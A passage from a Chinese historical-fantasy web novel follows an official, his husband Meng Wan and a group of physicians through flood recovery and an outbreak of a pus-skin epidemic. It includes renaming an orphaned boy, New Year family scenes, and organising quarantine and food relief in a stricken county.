孟晚悠哉悠哉的吃完了饭,到院子里溜了两圈,见局促不安想帮黄叶干活又无从下手的贱儿,将他叫了过来。 贱儿沉默的站在孟晚面前,也不说话,双手抵在腹部扣自己的手指。 他年龄和阿砚相仿,刚被雪生带回来的时候称得上是衣不蔽体,但黄叶没动阿砚的衣裳给他穿,把自己的衣裳改了改,领口有些大,腰上的腰带也缠了好几圈。 鞋像是在黄叶自己出钱在县城给他买的新鞋,上面保持的很干净。 他肯定被黄叶从头到脚的搓了好几遍,虽然还是瘦弱,但浑身上下极为干净,连头发也被剪得很短,露出额前一直被遮挡的皮肤。那里生长着一片青黑色的胎记,几乎从下巴一直覆盖到额头,形状很像一个地瓜。 见孟晚打量他好一会儿,贱儿的头更往下低了。 年幼的男孩基本都靠孕痣来分辨是哥儿还是男性,孟晚看到他隐在胎记边缘的一粒小小的孕痣了。 “贱儿,你家被洪水淹没了,亲人也可能已经不在了。”孟晚直白的对他说道。 这些天城里说的最多的就是水库坍塌的事,哪怕黄叶他们没有出门,来往送菜送柴的叔伯大婶也将八卦带了进来。 贱儿应该是早就知道了,他低着头看不到表情,但孟晚觉得那情绪中难过的成分占的很少。 孟晚现在对小孩的耐心比从前好多了,他等了好一会儿才等到贱儿音量微弱的回应,“嗯。” “你今后还想回村子吗?后续官府可能会帮助村民建房,你们村子也在其中,你可以有属于自己的房子,想怎么住就怎么住。”孟晚不是收小孩,也没打算将人带回宋家,但他不介意帮他一把。 贱儿明显心动了,但只是一瞬间,下一刻他果断的摇头道:“不去。” 倒也在孟晚预料之外,贱儿的模样是如何也称不上好看的,亲爹亲娘都不喜欢他,其余村民可能也没有太友善。 孟晚拍板决定,“既然这样,我就把建房的钱折算成学费,为你单办一份户籍,而后你就住在松韵学院里上学吧。” 贱儿不知道上学是什么意思,这里又是哪里,还以为从今以后都要和孟晚他们一起生活在这里。 “贱儿也太难听了,不然我给你换个名字吧?你爹姓什么?”孟晚早就不满贱儿的名字了,虽说乡下有贱名好养活的说法,但也多是大牛二柱之类的,还真没见谁家管孩子叫“贱”这种带着侮辱字眼的名字。 贱儿头又往地下杵,声音弱弱的说:“姓雪。” 孟晚:“?” 请问除了雪生这种戏子出身的,还有谁姓雪?再说人雪生的雪也不是姓啊? 他装作没看见贱儿通红的脖子,“不如叫谢雪吧,谢花迎雪,冬去春来。”凋零后盼望来的是新生。 贱儿听不懂孟晚的意思,但能感受到那是一种十分美好的意寓。 谢花迎雪,冬去春来。 从今以后,他不再是贱儿,而是谢雪。 —— 之后的事情还算有条不紊,宋亭舟命人收集树木,制造灰砖。只要是受灾村庄,退洪之后都会由官府帮助重建新房。 这也是为现在还住在草棚里的村民们,增添一丝慰藉。 西梧府人员伤亡只有七人,这已经是个相当令人欣慰的数字了,然而也有糟糕的消息——那些从上游钦州飘下来的人尸身上,确实带有疫病。 楚辞更善制毒,阿寻这几年以为某种在赫山时的偏差,治疗不孕不育最好。不得不说,他们在医术上都没有青杏精湛,也没有苗老爷子见多识广。 最后还是他们二人从府城赶来才确定了究竟是哪种疫病。 这时候捞尸的人里有人发了病,因为治疗及时并未出人命。 苗老爷子精神头不错,他把自己的药箱交给孙女收拾,愁眉不展的说:“有些麻烦,这是黄水疮。” 宋亭舟心里咯噔一下,“黄水疮?很难医治吗?” 青杏把药箱摆放整齐,“宋大人,不是的,这个病我爷爷治过,并非无药可医,而是传染性太强,很容易全城感染。” 黄水疮是因为皮肤破损感染后快速生疮化脓,因创面流黄色脓液、蔓延迅速而得名。 旁人皮肤上有创伤而沾染上那种脓液,便也会迅速感染,体弱者哪怕没有创口,若是频繁接触黄水疮患者也会被传染。所以说这种病传染性高,风险奇大。 宋亭舟从青杏和苗老爷子口中得知黄水疮的传染力后,迅速带人封锁了河道,日夜派人往返巡逻。 四名医者在研制能稀释河水里疫气的药粉,在他们研究成功之前,捞尸也不能让活人下水了。 陶十他们从渔民手里买来大量渔网,用网罩往岸上捞尸。里面不光是人的尸体,还有动物的,他们和大量木柴夹杂在一起,增加了许多难度。 捞上来的这些人畜尸体堆积在几个提前挖好的大坑中,用楚辞给的不知道什么药粉撒上去再燃,会烧出一股很怪的味道,不过也不错了,起码掩盖了尸油的味道,也能保证大家不会生病。 在昼夜不停轮流派人捞尸后,终于在年前将河道完全捞净。 这个时候茂林镇上游水量已经不大,宋亭舟要先截断上游的河道,再重新修建大坝。这是个缓慢的工程,最少也要修一年才能完工,并且要上报朝廷让户部拨款。 他之前递交给朝廷的文书暂且还没有得到回应,大概率是因为路远驿站起码要一个多月才能将朝廷的公文下放到西梧府,应该就在近期了。 孟晚病好了,年底他带着阿砚他们回了府城陪常金花过年,楚辞留下陪宋亭舟,让人意外的是青杏也跟着孟晚回去了。 孟晚没问,可青杏有些欲盖弥彰的主动说道:“老五还小,我回去看看她。” “你今年也二十多了吧?”孟晚若有所思,青杏在古代来看已经算是大龄了。 青杏笑容很温暖,“嗯,二十三岁,我很喜欢岭南,余生也想在西梧府,或许也会学着像爷爷那样,四处奔走,为人义诊。” 实际上她非常享受来岭南的这六年,从一个京边小镇上默默无名的医女,到现在受人尊敬的郎中,那是她从前想都不敢想的事情。 孟晚能听出她话语里的真诚,他欣赏的人不多,青杏便是其中一个,“你是个很好的姑娘,我也希望你能按照自己活法生活下去,但也要保重自己的身体。” 他本来想和青杏说的是让她先顾己再顾人,但想到青杏的性格,觉得说了也是白说。 宋家的马车将青杏直接送到家门口,有人守在那里见青杏下车迎了上去。 “青杏姑娘!” 青杏意外道:“徐公子?你不是说年后才来西梧府吗?” “家里的事解决了,所以提前过来。”徐文君跟在青杏后面帮她提药箱,熟练的跟着对方进了苗家。 他对苗家的几个孩子都极为熟稔,还带了徽州府特有的糕点分给他们吃。 青杏请他坐下,为他搭了脉,“你体内之毒再清三次就差不多了,可以明早过来找我针灸。” 徐文君还是一副柔弱贵公子的模样,他温和的笑道:“那就多谢姑娘了,我这便回客栈去,不打扰姑娘休整。” 他的小厮欲言又止的说道:“公子,年底客栈都满了,我们不如找找有没有院子可以租住。” 再过两天就是年三十,谁家院子这会儿租人? 青杏犹豫再三还是叫住他,“徐公子若是没有地方落脚,不嫌弃的话可以住在我家前院。” 背对着青杏的徐文君绽开一抹愉悦的笑容,“如此不会叨扰姑娘家人吧?” 第68章 夏垣 虽然他忙是常态,也不像其他知府一样稳坐府城,整天四处奔波常金花已经习惯了。然而过年到底意义不同,她还是有些失落的。 “祖母,阿爹抢我卤鸡爪!”阿砚抹着眼泪过来找常金花。 常金花一瞬间什么情绪都抛到脑后了,她袖子一撸,咬牙切齿的说:“我看你阿爹是越活越回去了,连孩子的零食都抢!” 祖孙俩找上孟晚,就见孟晚正在耐心的给一盘鸡爪剔骨,别提有多仔细了。 “娘,你来的正好,最近阿砚都不好好吃饭,净吃些鸡爪鸡翅的,我不让他多吃他还哭!” 常金花一琢磨,阿砚昨天晚上确实好像只吃了半碗饭。 阿砚难以置信的瞪圆了眼睛,“你刚才不是这样的!” 而且昨天那么一大桌子的好吃的,他吃饭饭少是因为菜吃的太多了啊!!! 孟晚在常金花面前大献殷勤,“娘,你不是不爱啃骨头吗,这些我都给你剃下来了。”他将面前整盘鸡爪端给常金花。 常金花摆摆手,“你吃吧,娘不爱吃这些东西,你在家别总欺负阿砚,娘去隔壁串门去。” 阿砚眼巴巴的望着祖母的背影,一肚子委屈愣是说不出来。 常金花走后孟晚端起盘子开始享受美食,“黄叶,再给我端一份橘子汁过来。”孟晚啃了个鸡爪说:“解腻用。” 阿砚直勾勾的盯着他盘子里的鸡爪,恶狠狠的说:“阿砚也要橘子汁!” 黄叶“噗嗤”一声笑了,“好,我这就去拿。” 孟晚啃完装模作样剃的两根鸡爪后,又开始啃有骨头的。 阿砚馋的不行,控诉孟晚道:“你怎么这么坏,明明是你抢了我的鸡爪,还把我吓哭,你骗祖母!” 孟晚理直气壮,“我哪里骗你祖母了?我拿了你的鸡爪就是给祖母吃的,她不吃我只能自己吃喽!还有你哭是你自己爱哭,和我有什么关系?” “你……你胡说!”阿砚又快哭了,明明孟晚说的哪里都不对,但他就是讲不过他。 “小少爷,快来喝橘子汁。”黄叶忙过来救火。 阿砚抱着橘子汁,想瞪孟晚一眼又不敢,只能悻悻的跑去找通儿了。 回家的日子就是幸福,孟晚悠闲的啃鸡爪,喝果汁。黄叶坐在他身旁给生花生剥壳,中午要拿它做菜。 桂诚从前院跑过来,“夫郎,府衙来人了,说是京城来的公文到了,问大人在不在家。” 孟晚猛地坐直身体,用湿帕子擦净了手,“这么快就到了?交给我,我明早去德庆县一趟。” 初三一早,孟晚又跑去德庆县一趟去当信使。水泥路在西梧府内通用之后,赶路的效率也高了不少,孟晚一路畅通无阻,将信件送到暂时在德庆县县衙办公的宋亭舟桌案上。 盛京来的折子很厚,宋亭舟挨个拆开,神情莫测。 “好还是坏?”孟晚坐在他对面的椅子上吃蜜饯,他年前回家瘦了很多,让常金花一通心疼,往家里摆了一堆的零食,这次他来德庆县也给他装了不少。 宋亭舟把最上面的两封折子递给他,“好也算不好。” 孟晚把自己吃剩下的蜜饯塞到宋亭舟嘴里,擦了擦手才展开折子。 “没去参加朝觐还给你升了官?”孟晚惊讶道。 随后他很快看出问题所在,“不对啊,巡抚没有品级,你现在还是西梧府的知府,这也不算升官吧?是又给你派了个活?” 按照宋亭舟的功绩来说,今年朝觐最少也会往上升上一阶,也就是从三品官职。结果吏部只给分派个有名无实的岭南巡抚,这就有些耐人寻味了。 难不成是因为宋亭舟朝觐途中又返回西梧,因此惹得陛下不满? 他们到底远离朝堂中心,很难揣测到圣意,这会儿如何也想不到上头人的用意。 宋亭舟面不改色道:“即是陛下亲旨,不论如何我也要任命,将这差事做好,方不负圣恩。” 孟晚叹了口气,不做也不可能啊,差事都派下来了,皇命怎可违背? “之后你是不是要去钦州?”钦州这会儿什么消息都没传出来,宋亭舟忙于西梧府的事,暂且也没时间过去查看。 宋亭舟声音沉稳,“先将德庆县一众事宜安排妥当再说,朝廷已经派下来工部的人去钦州勘察,想必再过不久便会到来。” 他虽然担着巡抚的虚职,可本身仍是西梧府知府,当以自己任地为重。等工部的人下来,二人同往钦州才是。 西梧府的灾后重建进行的有条不紊,楚辞他们几名医者每日都会往河水里挥洒药粉,便是如此,两年之内河里的水也不能饮用,顶多洗洗衣服。 洪水退去小半,很多村庄的旧址变成大大小小的湖泊。宋亭舟命人在原先村落的旧址上往岸边退出二里,从茂林镇开始,向东北方向延伸,修建起一排排样式统一的房屋,从南到北长达数十里。 看起来工程庞大,但是架不住人多,由官府统领村民们自行修建,谁不想住新房? 而且官老爷们说是要打散了重新分房,谁也不知道会被分到哪座房子,各个都拿出给自家盖房的架势使劲。 官府给出钱盖房,虽然他们没有工钱,可饭食管饱,还都是灰砖瓦房,这已经是做梦都梦不到的美事了。 汉子去盖房重建家园,孟晚就雇佣剩下的女娘和小哥儿给他栽树。 西梧府多好的地界,荔枝树合该多多的栽种起来。 孟晚因为宋亭舟的缘故不得在任地买山买地,他也不想钻空子成为日后的把柄,干脆自己花钱扶持几个贫困的村镇栽荔枝树。 他花钱栽树,往后结果长荔枝之后,只要是供应他旗下的珍罐坊,当地农户要便宜三成利润,直到三年后两清。 这样一来既能扶贫,又能保证受灾的村民们有收入来源,孟晚也不算吃亏,正好一举多得。 夫夫俩各自忙着,恨不能把一天掰成两天来过。特别是宋亭舟,只在过年休息一天,早早将德庆县后续的工作安排妥当后,才得以回家休息两天。 “大人,盛京来的大人快进城了。”蚩羽过来禀告。 “竟然来的这么快?”孟晚颇为意外,现在才过完年也才十多天而已。 宋亭舟已经利落的换上官服,“我带人过去看看,和不和我一起去?” 孟晚被他从座位上拉起来,“那我去凑凑热闹,你不必管我,我就和蚩羽站到后面就好了。” 他们磨蹭了一会儿,刚好在城门口接到人。 “宋大人,别来无恙啊!”一位肤色偏深、年约五十的官员从马车上跳了下来,他也没用下人搀扶,整个人显得精瘦又干练。 宋亭舟下马揖礼,“夏大人,一路辛苦了。” 此人正是朝中正二品工部侍郎夏垣,当年宋亭舟参加春闱时,他便是其中一位副考官,两人还有一份座师情分在,虽然这个名头没什么分量。 夏垣客气的回了一礼,“本官只是路行的远了些,何谈辛苦?宋大人为西梧府百姓奔波不息,才是真正的一心为公。” 孟晚在后头听得叹为观止,不愧是京官,明明官高宋亭舟好几级,却这么谦虚有礼。看起来也像是个干实事的老实人,一张嘴就是京中老官的腔调了。 宋亭舟做为一个地道的文人,靠自己实力考上的二甲前名,扬面话他也会说,但他懒得说。 “这里不是说话的地方,还请夏大人随下官进城,城中已经安排了大人的住处。” 夏垣被他的单刀直入弄得一愣,随后笑道:“那就多谢宋大人款待了。” 他还以为宋亭舟给他安排的是什么豪宅,几进的大宅子。但到了之后发现自己即将住的地方是府衙后宅。 本来是预留给知府和家眷住的地方,宋大人自己住到外面去,让他住在这里,是一分钱都不打算花吗? 有意思。 不恭维起码也不能得罪,该有的流程还是要有的。 当天下午宋亭舟在府城最大的酒楼里安排了一桌席面,称得上是宾主尽欢,总之宋亭舟既不恭维上官,也不得罪人,一桌席面他自己就吃了三分之二,留下的一些叫体面。 夏垣能坐上高位当然不是什么废物,他早年也没少在地方上当官,既然是来办公,宋亭舟又不是什么溜须拍马之流,两人第二天便决定立即启程赶往钦州了。 早上是在常金花的铺子里吃的米粉和炸鸡,很对这位工部侍郎的胃口,盛京人惯有的思维便是挖厨子,夏垣果然也不意外。 “夏大人见笑了,这是家母开的铺子,厨子恐怕不方便外借,但方子您尽管拿去。”宋亭舟解释道。 夏垣是真没想到朝廷官员的老娘竟然会亲自上阵去开铺子卖吃食,震惊过后就是佩服,“君子岂能夺人所好?方子就罢了,只待钦州事了,走前再回这里吃上一回,还要劳老夫人招待。” 孟晚率先上了自家马车,他也要跟着宋亭舟去钦州,“夏大人放心,我家的铺子您只管随便吃。” 夏垣目光一闪,“那就多谢孟夫郎了。” 他上了马车后身边凑上来个身条精瘦的年轻男人,“大人,西梧府城郊的珍罐坊确实是这位孟夫郎的手笔,珍罐坊的人嘴巴很严,属下是顺藤摸瓜,从一个外地小商贩的口中打听到的。” 所以也不见得他们打探到的就是真的。 但夏垣有种直觉,这位不显山不露水的夫郎,可能不是什么深闺内宅的普通哥儿。 “京官果然不好糊弄,夏大人人还没到西梧府,他的人就已经打听到珍罐坊去了。”孟晚在马车上感慨。 宋亭舟闻言眉头紧皱,“他派人调查你?” “应该是为了查你和珍罐坊顺带的,无碍。”从罗霁宁来过西梧府后孟晚就看开了,反正他又没偷鸡摸狗,宋亭舟也算是在殿前挂上名号的人了,他的珍罐坊并不怕旁人勘察。 宋亭舟的脸色却还是很臭,“若是我官职比夏垣高,他定不敢明目张胆的调查你。” 孟晚无奈的笑了,他发现宋亭舟真是极容易内耗,幸亏阿砚没随他。 “大人!你快出来看看!”蚩羽在车外喊宋亭舟。 他们走了十来天了,因为西梧府内通水泥路的原因,很快就出了西梧府境地,之后进入钦州地界了速度才慢了下来。 现在的位置应该快要到钦州最靠近西梧府的浦北县了。 因为他们估算钦州很有可能有灾疫,所以楚辞阿寻和苗郎中都跟了过来,青杏有些私事还没做完,要晚一步跟过来。 家里剩下两个孩子孟晚本来是不打算带来的,黄水疮实在恐怖,孟晚也不敢大意。谁料过完年就开始叛逆的阿砚竟然带着通儿偷偷上了楚辞的车,也不知他是怎么说服他哥的,总之现在两个小孩都在孟晚车上。 宋亭舟下车后孟晚和阿砚掀开车帘往外观望,只见面前的城门紧紧闭合着,外面连个守城兵也没有。 这会儿可是青天白日,县城大门若是无故闭而不开,是要被上官责备的。 城墙上空无一人,城下却被围了密密麻麻的灾民,冬季天寒,那些灾民大都穿着破旧的单衣,挤在一起围成一个又一个的半圆形圈,一动不动。 孟晚甚至都不确定他们是活人,还是已经死去的尸体。 阿砚眼神里带着困惑,“阿爹,他们在做什么?为什么不回家?” “他们……可能没有家了。”孟晚是第二次见到这种扬景了,心脏还是压抑不住的沉闷,像是阴天晒不干的被子,就那样沉甸甸地坠着,说不出的滞涩。 “没有家?”阿砚歪头愣了愣,“那他们就这样在外面不冷吗?为什么不多穿一些衣服?” 孟晚把他和通儿揽到自己身侧,眸子里带上一丝悲悯,“人若是病了,或是饿了,没有任何吃的可以果腹,也没钱去医馆看病吃药。那么他/她们身上第一个被换成银钱的便是冬日絮着棉花的厚衣。” 再就是抛弃虚弱的老人,卖掉年幼的孩子。 《淫雨连天,大地昏黯,堤坝溃决,逐浪滔天。 昔日烟村瓦舍,竟成汪洋一片。 老树折腰,田畴成陂,衣敝如缕,嬴躯命悬。 人弱难抵天威,智足可消险难。》——西梧府篇完。 第1章 浦北县 夏垣掀开车厢前厚厚的帘子下车,同宋亭舟一起眺望城门处的情景。 “钦州就算遭了灾,何故关闭城门?” “钦江极有可能泛滥成灾。”宋亭舟将西梧府当初水坝被冲塌后发现浮尸的事告诉了夏垣。 夏垣已是有所猜测,“你是说城外这些灾民身上带疫。” 宋亭舟实话实说,“下官尚且不知,可因疫症便关门闭城,明显是不可取的做法。” 如今说再多也没用,这个浦北县明显有鬼,要么绕过去,要么让城里人开门。 宋亭舟没有后退的意思,显然更中意想办法开门。 “干爹,我过去看看。”楚辞跳下马车主动走到宋亭舟面前抬手比划。 雪生也随他下了车,“大人,我陪小辞过去。” 阿寻也想下车,被楚辞推了回去,他递给雪生一个厚厚的面罩,两人捂住口鼻,往城下的围墙处走去,身后跟着两队保护他们的士兵。 活人的气息和脚步的轻响唤醒了城下即将枯萎的人群,他们当中有人睁开眼睛虚弱的看向楚辞他们。 濒死的人连挪动头颅的力气都没有,就这样微张着眼睛看着他们逐渐走近。 楚辞仔细观察,发现这些灾民果然面部生脓包,而且已经爆开流脓,脓水在脸上蔓延,干了又流,流完又干,层层叠叠覆盖着厚厚的黄色结痂。 “小辞,小心点。”雪生也看出不寻常来。 楚辞摆摆手,手上抹了一层药膏后,蹲在地上为外围的一个灾民搭了脉,而后心下一沉。 太晚了,已经没救了。 他们迅速退到后面去找宋亭舟。 楚辞手舞动几下,“干爹,病的太重了,可能都救不过来了。” 宋亭舟的脸色瞬间阴沉下来,他眸子里滚动着不知名的情绪,“蚩羽,你进去看看。” 蚩羽的功夫矫健,比雪生更胜一筹,因为城墙上无人把守,他在城门处找了个位置最低的马道,三两下就爬了上去。 城外城内寂静无声,一盏茶的功夫后,浦北县北城门被蚩羽从里面打开,孟晚坐在马车里还能看到地上躺着的,七八个口封麻布的士兵。 停顿许久的马车终于又动了起来,但行至城门口,夏垣见到城外灾民裸露在外的恐怖脓包时,还是犹豫了。 “宋大人,这疫病如此形状恐怖,我们贸然进去会不会也被感染?” 宋亭舟对他解释道:“夏大人放心,下官带了几位医者前来,他们都曾在西梧府治愈过患着黄水疮的人,若您实在不放心,可以先在城外等候,下官先行进去查看情况。” 他私心也不想让孟晚和孩子们进城,正好借着夏垣说了出来。 岂料夏垣犹豫一二,最终还是说道:“罢了,既然是来勘察灾情,本官怎好让宋大人独行,便大家一起进去吧。” 宋亭舟无奈,只能叮嘱属下看顾好孟晚,一行人在城外灾民目不转睛的注视下进了县城。 那曾经是他们极为渴望的存在,现在却再也没有力气去迈开腿。 岭南的城镇多是破败且店铺稀少,如西梧府那般繁华才是少见,这会儿浦北县的县城里商铺尽数关门,更显荒凉。 他们一行人直奔县衙,县衙的大门同样紧闭,整座城市仿佛是一座死城。 蚩羽轻车熟路的翻墙进去,将紧闭的大门打开,可能是动静大了,这回里面终于传来了人声。 “站住!” “你是谁?怎么进来的!” “快去禀告大人,有人擅闯县衙!” 蚩羽像没听见一样,自顾自的将县衙门槛卸了下来,大批的车辆人马直接行至仪门外的空地上。 夏垣身边的护卫和宋亭舟身边的护卫站在前面,气势惊人。 夏垣下了马,看县衙内有活人还是松了口气的,他先行开口对无措的衙役们说:“去将付孝叫出来说话。” 孟晚下了车和宋亭舟一个抱一个娃,叮嘱他们不准乱跑,对比相对稳重的通儿来说,这句话明显是在提醒阿砚。 阿砚主意正,身上又有股子机灵劲儿,很爱显摆和冒险。好在他很会看大人脸色,知道什么时候能放肆玩,什么时候该乖乖听话。 他们大张旗鼓的来县衙,衙役们也看出来者不是寻常人,很快将自家县太爷喊了过来。 浦北县的知县年纪一大把,听到有外人在这个要紧的时候来县城,又对他直呼其名,心里便有推断。 “两位大人可是从盛京远道而来的?”他满头发白,拄着拐杖对被人拥护的宋亭舟和夏垣说话。 夏垣和宋亭舟都没有作答,是夏垣身边的随从自包袱里拿出文书来,答曰:“我们大人乃朝中二品大员,工部夏侍郎。是这位岭南巡抚宋大人察觉钦州有异象,上奏了朝廷,陛下这才派夏大人和宋大人共同前来勘察。” “宋大人?可是西梧府的宋大人!”付孝扬起了音调。 宋亭舟不明所以,“是本官。” “宋大人,没想到真的是你来了!”付孝直接哭了,上前就要拉宋亭舟的手,被蚩羽隔了开来。 没看到他们夫郎在旁边吗,大人的手也是这个老头子能摸的? “大人莫怪,是下官糊涂了。夏大人,宋大人,还请随下官到后衙安置,这城中如今不好随意走动。”付孝撒了把老泪,强撑起的笑也没撑住,显得脸色更加愁苦。 他们风尘仆仆赶了一路,自然是疲惫的,这会儿也没人拒绝,全都随着付孝进了后衙安置。 县衙的门都关了,如今浦北县的秩序明显出了问题,整个县衙的衙役极少,空出很多房间。 后衙里住着付孝的家眷,他本想将孟晚安排和自己的妻子儿媳住在一起,但被宋亭舟婉拒了。 西花厅安排给夏垣和他的随从,宋亭舟带自己这边的人住到了主簿厅的院子。 宋亭舟和夏垣身负皇命,不敢耽搁,很快就叫付孝到二堂议事。 “城外的灾民是怎么回事?浦北县是不是生了疫症?”夏垣率先发问。 付孝一脸苦相,“夏大人明鉴,浦北县确实生疫,可这疫症却是钦州城传出来的。” 宋亭舟一针见血,“是否是钦江泛滥成灾,百姓受灾才生疫。” 付孝不知是在哪里听说过宋亭舟,从见到他起就一直十分信服他说的话,“宋大人说的没错,钦江泛滥,连通钦江大大小小的堤坝纷纷决堤,钦州几乎全是受灾的百姓!” “怎会如此?钦江宽阔,贯穿几个州府,恐怕只有接连数月暴雨才能使其泛滥吧?”夏垣作为工部侍郎,对禹国大大小小的河流和水利都十分了解。 提起这个付孝就更冤了,“下官着实不知啊!” 原来自从去年十月底,钦州各地河道里的河水便突然激增,打了大家一个措手不及。那会才下了几天的暴雨,谁也没想到钦江会突然泛滥。 夏垣觉得其中还有问题,又追问付孝,“水灾后钦州知州一直没有对浦北县下达指令?” 付孝一张苦瓜似的脸上满是无奈,“刚开始水患之后,县城各村落一阵混乱,知州大人确实派人来过一趟县城,那人将县城的消息汇报回去之后,上面就再也没有任何消息了。” 钦州地理位置特殊,它辖内的三个县城说是县城,更像是镇子。钦州城屹立在最前方与安南国对峙,像是一道屹立不倒的最终防线,而且钦州的知州也是有功夫在身的武夫。 前线这些年和安南摩擦不断,钦州知州失联不是一回两回了,付孝一开始也没当回事,上官靠不住他只能一边羡慕隔壁的西梧府,一面自己收拾烂摊子。 可很快事情就开始不对。 先是上游冲刷下来大量尸首,接着住在水源附近的村民开始生病,浦北县统共只有一家医馆,里面的郎中却也不知这种病症该如何医治。 付孝前期光想着安置灾民,抢修大坝,等发现的时候已经太晚了。 整村整村的百姓染病,灾民里面,甚至县城里都开始有人生疮。 付孝也算得上一心为民,可事态发展之快让他也懵了一瞬,不知该如何应对,只能想到一个最笨的方法,让百姓各自待在自己家中不要外出。 宋亭舟和夏垣对视一眼,这确实是个蠢方法,便是不被传染,可能也有人会饿死。 “宋大人,西梧府被你整顿的很好,使得疫病没能蔓延出去。浦北县的事恐怕还要麻烦你来料理。本官要把钦州疫情的事写成奏折递交给陛下。”夏垣做为皇上钦派的钦差,钦州的事都要一一呈现到皇上案前。 夏垣说完就走,显然对宋亭舟很是放心,宋亭舟从他的态度中琢磨出一点模糊的信号。 浦北县当下的处境岌岌可危,宋亭舟屏住心神,专心致志的接手县衙的公事。 “如今之计要先将城内得了疫病者,统一安顿起来,死尸尽快在城外找地方焚毁。” 付孝欲言又止,“可是大人,灾民大多生疫,城中也不知道有多少人已经感染,若是安置起来再感染更多的人……” 宋亭舟目光锐利的直视他,“接下来浦北县衙的一切公务都由本官悉以委之,若有歧论,过后再谈。” 付孝头次感受到这位闻名岭南的知府所带来的压迫感,他垂下双眼,战战兢兢的附和道:“是,大人,下官这就派人去城里搜寻。” 宋亭舟接着颁发任务,“城内县学可暂时征用安置城内病患,城外也要铺设棚屋。以短、远为例,一间棚屋容纳不可超过二十人,棚屋与棚屋之间的的距离必须大于五丈。” 付孝人老脑袋也不好使,听到宋亭舟一连串的吩咐只记住了开头那句。还是他的师爷机灵,拿了笔墨纸砚过来奋笔急挥。 宋亭舟见状略放缓了语速,“城外棚屋要多盖,且最少三面有草席挡风,等衙役搜寻结束后,城中未感染疫病的妇孺可以代工编制草席,汉子们和衙役去城外盖棚屋,由县衙支付工钱……” 他话还没说完就见付孝一脸难色,除了西梧府的衙门外,岭南各地都欠着朝廷的钱,穷的叮当作响,哪儿还有钱雇人?往常都是随意征收劳役不给钱的。 宋亭舟想了个折中的办法,他手指在桌面上轻敲两下,沉声说道:“钦州水患加上大疫,几年内朝廷定会免除百姓赋税。县衙拿不出钱不要紧,可以给参加劳作的百姓记筹,今年春耕的时候将县衙旗下的山地按筹多筹少分配,免费借给百姓种植一年。” 一听不用出钱,付孝欣喜的说:“如此甚好。” 县衙的门大开,衙役们却谁都不敢外出迈步,他们都怕被染上疫病。 楚辞在仪门点了些药粉,给他们每人身上都熏了熏,可他们还是不敢第一个动作。 还是蚩羽等人带人先出去,当地衙役有人牵挂家人跟了上去,其余人才敢出门。 宋亭舟一行人既然早有猜测,所以也算是有备而来,孟晚拉来了五六车治疗黄水疮的药材,还有两车是治普通的伤寒感冒。楚辞跟苗家的祖孙二人在县学门口候着,准备为生了疫症的灾民问诊。 县城里的情况果然不容乐观,有的屋子里已经开始散发腐尸的异味,这种情况哪怕被熏了药,进去也十分危险。在目前药材和食物最重要的档口,再浪费药粉挨个房子涤秽太不现实,只能连房带尸体都直接烧个一干二净。 衙役们连夜里都没休息,直到第二天下午才将整个浦北县城都巡查完毕。 “大人,城内未生疫病者共七十三人,轻疫者二百四十人,重疫者六百五十一人。亡者……不计其数。”衙役们都换了身衣裳,又用苗老爷子研制的药粉沐浴过,这才过来回禀宋亭舟。 一道重重的长叹传来,宋亭舟闭上眼睛,神色沉痛,“知道了,你们这批人先在吏舍休息一天,换捕快们过来领命。” 接下来就是阿寻和苗老爷子在县学外坐诊,城内轻疫者和重疫者都安排到县学里分开居住。县学外面又盖了两座临时用的棚屋,病情缓和的人便能住到外面去,痊愈后便能回家。 第2章 钦州公署 县城内外的看诊几乎在同时进行,只不过城外更加残酷。 楚辞仿佛成了执掌生死簿的判官,一句话便可以决定那些可怜人的生死。 他蹲在这些层层叠叠的人堆面前,机械性的搭在一个灾民的手腕上,本来冷漠的眼神中突然迸发出一缕光彩,对一直守在他身边的雪生重重地点了点头。 雪生即刻会意,“这个还能救,先灌一碗药抬到旁边。” 衙役们即刻行动,而那个被抬走的人,本来紧闭的眼睛竟然流出泪水来,可惜他眼角都是脓包,流出来的泪也是淡黄色的。 忙碌一天,结果还有救的灾民也不过三十几个,剩下的灾民绝大部分已经死亡,被衙役们找地方焚化了。 这一天城外的浓烟一堆接着一堆,所有人的眼神都是麻木的。 第二天——县衙后宅门口外的空地上,不知何时也搭起了草棚,城内没有染病的百姓都**在这里等着开饭。 孟晚带着付孝的家眷们、没有染病的女娘和小哥儿们在门内忙碌,院里空出位置来搭了七八个灶台,还有案板水缸等,将本来就不大的院子挤得满满当当。 她/他们从天还没亮就开始忙碌,一筐筐的馒头往门外端,外头搭了两张长桌和两个大水缸。馒头就放在桌上,水缸里则是熬得粘稠的糙米粥。 要紧急去城外搭棚的衙役和汉子们先吃,每人可以凭县衙发的工号去领两个馒头一碗粥。 县衙的几个小吏站在桌前给大家发馒头,桌子后头坐着的阿砚像小大人一样抬笔记录。 他虽然年纪小,可也进了学,因为从小练过,身边又有宋亭舟这样的行家调教,字写得比高他几届的学长还漂亮,这会儿正像模像样的给大家记账。 “陈春,已领。” “张二,已领。” “李三狗,说就要一个馒头,剩下一个给他媳妇留着???” 阿砚写着写着有些不对劲儿,他也不知道是哪儿不对劲。只见面前的小吏拍了面前瘦小的汉子一把,“留个屁啊留,孟夫郎都说了,一会儿会给你们老娘媳妇留饭,没准吃的比你们好!都瘦成一把骨头了一会儿干活能干的动吗?小风,再多给他添半碗粥!” 旁人无不羡慕的看着李三狗,但转念一想那粥那么稠,自己两个馒头一碗粥也能吃饱,复又扭头将脑袋埋在粥碗里喝了 起来。 阿砚有些听懂这些大人的意思了,他嘿嘿的笑了两声,接着记他的账。 “王小丫,已领。” “钱大贵……钱大贵你已经领过了啊?”阿砚对面前排队的男人说。 来人是个眼窝深陷,身材微胖的低矮男人,他不屑地对阿砚说:“你个小屁孩懂什么,有人和我重名了,他领我还没领呢!” 阿砚目光在他身上扫了一圈,斩钉截铁的说:“我知道有两个钱大贵,可你就是领过了,我记得你!” 阿砚半点亏也不吃,噼里啪啦小嘴不停,“而且你还骂我小屁孩,无缘无故攻击我,通儿!打他!” 他旁边一直无聊坐着的通儿终于来了活,在矮胖男人嘲笑的目光中原地弹跳起一米多高,肉乎乎的小拳头直砸在矮胖男人的眼睛上。 矮胖男人眼睛一酸,“唰”地一下流出一行眼泪。 俩小孩行动太快,不管是旁边的小吏还是周围的人群,还没一个反应过来,阿砚就已经成功报了仇。 再看他还一边嘴角上翘,稚嫩清脆的声音偏偏学着孟晚放狠话地语调说:“呵呵,钱大贵是吧,我记得你了。” 明明是他占了便宜,偏偏还一副记仇的模样,连别人插嘴的机会都不给。 